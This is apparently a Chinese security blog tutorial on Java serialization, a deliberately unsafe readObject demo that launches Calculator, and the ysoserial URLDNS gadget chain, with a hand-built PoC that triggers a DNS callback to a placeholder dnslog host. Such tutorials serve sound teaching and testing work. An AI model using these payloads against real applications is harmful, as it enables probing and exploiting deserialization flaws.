Java反序列化和URLDNS链
2025-07-19 20:48:37 # Web安全

Java反序列基础知识

什么是Java序列化和反序列化?

Java序列化:

Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型[1]

Java反序列化:

反序列化就是将字节序列恢复为Java对象的过程。

在Java中,很多情况下我们需要去保存某一刻某个对象的信息,去进行一些操作,为了解决这个问题,就需要使用到序列化和反序列化。比如利用序列化将程序运行的对象状态以二进制形式存储于文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。可以有效地实现多平台之间的通信、对象持久化存储[2]

反序列化的条件

一个类的对象要想序列化成功,必须满足两个条件:

1、该类必须实现java.io.Serializable接口。

2、该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

如果你想知道一个Java标准类是否是可序列化的,可以通过查看该类的文档,查看该类有没有实现java.io.Serializable接口。

反序列化Demo

首先定义对象类Person,包含两个参数nameage

1
2
3
4
5
6
7
8
9
package com.x2n.deserialization;

public class Person implements java.io.Serializable {
public String name;
public int age;
public void info(){
System.out.println("Name: " + this.name+ " Age: " + this.age);
}
}

序列化

在主类中声明对象,并将对象序列化为二进制文件person.ser保存在本地。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void Serialization() throws IOException {
Person p = new Person();
p.name = "John";
p.age = 22;
try{
//打开一个文件输入流
FileOutputStream fileOut = new FileOutputStream("person.ser");
//建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(p);
out.close();
fileOut.close();
System.out.println("序列化数据成功");
}catch (Exception e){
e.printStackTrace();
}
}

序列化成功。

image-20250704111915785

可以注意序列化后的数据,其中的ac ed 00 05java序列化内容的特征,其中00 05是版本信息,base64编码后为rO0AB

反序列化

反序列化是从序列化的二进制文件person.ser中提取出对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void Deserialization() throws IOException {
Person p = null;
try {
FileInputStream fileIn = new FileInputStream("person.ser");
//建立对象输入流
ObjectInputStream in = new ObjectInputStream(fileIn);
p = (Person) in.readObject();
in.close();
fileIn.close();

}catch (ClassNotFoundException c){
System.out.println("对象未找到");
c.printStackTrace();
return;
}catch (FileNotFoundException e){
e.printStackTrace();
return;
}catch (IOException e) {
e.printStackTrace();
return;
}
System.out.println("反序列化对象成功!");
System.out.println("Name:"+p.name);
System.out.println("Age:"+p.age);
}

反序列化成功。

image-20250704111959280

反序列化漏洞

漏洞成因:

1
序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

在前面的反序列化的Demo中,我们可以了解到,在进行反序列化时会调用readObject()方法,如果readObject()方法被重写,重写的方法不当,就会引发漏洞出现。

反序列化漏洞Demo

定义了一个Unsafeclass类,实现了Serializable,重写了其中的readObject方法。在重写的方法中,执行了弹计算器的命令,模拟存在安全问题的重写的readObject方法。

1
2
3
4
5
6
7
8
9
10
11
class Unsafeclass implements Serializable {
//定义了一个变量name
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
//执行默认的readObject()方法
in.defaultReadObject();
//open -a Calculator
Runtime.getRuntime().exec("open -a Calculator");
}
}

main函数中,对Unsafeclass类进行序列化和反序列化,反序列化时读取类,触发了readObject()方法,执行了重写方法中的恶意命令。

1
2
3
4
5
6
7
//从文件中反序列化对象
FileInputStream fileInputStream = new FileInputStream("vul.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
//恢复对象
Unsafeclass unsafe = (Unsafeclass) objectInputStream.readObject();
System.out.println(unsafe.name);
objectInputStream.close();

image-20250716095302064

完整代码vul.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.x2n.deserialization;
import java.io.*;

public class vul {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Unsafeclass unsafeclass = new Unsafeclass();
unsafeclass.name = "hello world";
FileOutputStream fileOutputStream = new FileOutputStream("vul.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
//将对象写入object
objectOutputStream.writeObject(unsafeclass);
objectOutputStream.close();
fileOutputStream.close();

//从文件中反序列化对象
FileInputStream fileInputStream = new FileInputStream("vul.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
//恢复对象
Unsafeclass unsafe = (Unsafeclass) objectInputStream.readObject();
System.out.println(unsafe.name);
objectInputStream.close();

}
}

class Unsafeclass implements Serializable {
//定义了一个变量name
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
//执行默认的readObject()方法
in.defaultReadObject();
//open -a Calculator
Runtime.getRuntime().exec("open -a Calculator");
}
}

URLDNS链

URLDNSysoserial[3]里面最简单的一条利用链,但URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。好处是,URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。所以,它比较适合用于漏洞验证。在一些漏洞利用没有回显的时候,可以使用该链来验证漏洞是否存在。

测试URLDNS链

使用ysoserial生成URLDNS链的序列化文件。

1
java -jar ./ysoserial-all.jar URLDNS http://xxx.dnslog.cn > urldns.bin

下面我写了一个简单的验证URLDNS链的实例[4]URLDNS.java

1
2
3
4
5
6
7
8
9
10
11
12
13
public class URLDNS {
public static void Serializable(String path,Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream((path)));
oos.writeObject(object);
}
public static Object Deserialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream((path)));
return ois.readObject();
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
Deserialize("./ysoserial/urldns.bin");
}
}

反序列化文件。可以成功看到dnslog回显。

image-20250716124000504

URLDNS链分析

代码跟踪

触发的Gadget Chain为:

1
2
3
4
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

可知,最后请求DNS的点位于URL.hashCode()处。对于new URL("")跟进URL,找到其中的hashCode()函数。

image-20250716125221972

这里可知,在函数中hashCode的值为-1时,会进入到hashCode()这个函数中。 跟进到这个函数中,找到了其中会触发DNS的函数为getHostAddress()

image-20250716131954306

这里我们已经找到了触发的点为getHostAddress(),接下来我们要定位到触发反序列化的入口点在哪里。

根据Gadget Chain可知,HashMap.readObject()为入口处。如何去触发这个入口点呢?

image-20250716142817188

image-20250716143805220

查看Hashmap的代码可知,其实现了Serializable,并且重写了readObject()函数。

image-20250716144138889

在重写的readObject()函数中,用到了putVal()函数,其输入的参数中对key进行了hash()函数的处理。跟着进入到hash()函数中。

image-20250716144751902

在这里,若key的值不为空的时候,会调用keyhashCode()函数。那么,如果这里的key,就是前面的URL的对象,那么就会触发URL对象中的hashCode()函数,进而对设置的url链接发起请求,进而触发DNSlog

捋清楚思路

我们重新从头开始一点点捋清楚,从入口点到最后触发的函数。

当一个Java应用存在反序列化漏洞时,通过传输一个序列化后的HashMap数据,在这个传入的HashMap序列化数据中,键值对中的key的值要为URL对象,这个URL对象设置的url链接就是我们的DNSlog。当序列化后的数据,到达了Java应用中的反序列化的入口点的时候,因为重写了readObject()函数,会进入到重写的函数中,重写的函数中使用了hash函数,此时key的值不为空,为URL对象,URL对象会调用它的hashCode()函数。在URL对象的hashCode()函数中要满足条件,即hashCode的值要为-1(这里可以通过反射修改),这样数据就可以流入到getHostAddress()函数中,请求DNSlog

手动实现

捋清楚以后,我们尝试自己去手写一下整个poc,不借助ysoserial工具。

根据前面的分析可知,要完成整个流程需要下面几个条件:

  • url的hashCode的值要为-1
  • HashMap传入的key的值要为URL对象。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//URL对象
URL url = new URL("http://xxxx.dnslog.cn");
//反射修改hashCode为-1
Field hashCode = URL.class.getDeclaredField("hashCode");
// 私有属性设置可访问
hashCode.setAccessible(true);
hashCode.setInt(url,1);
//HashMap放入对象
HashMap<URL,Object> map = new HashMap<>();
map.put(url,null);
//改值为-1
hashCode.setInt(url,-1);

Serializable("urldns.ser",map);
// Deserialize("urldns.ser");

先生成urldns.ser序列化的数据文件,此时URL对象放入HashMaphashCode的值不为-1dnslog不会触发。最后再修改hashCode的值为-1,反序列化时hashCode的值为-1dnslog触发。

2025-07-19_204744_809

参考


  1. https://joner11234.github.io/article/8a58e39c.html ↩︎

  2. https://xz.aliyun.com/news/1744 ↩︎

  3. https://github.com/frohoff/ysoserial ↩︎

  4. https://www.bilibili.com/video/BV18p421X7x1?vd_source=40fffae7c3c0198962dc9cf9689a1a8a ↩︎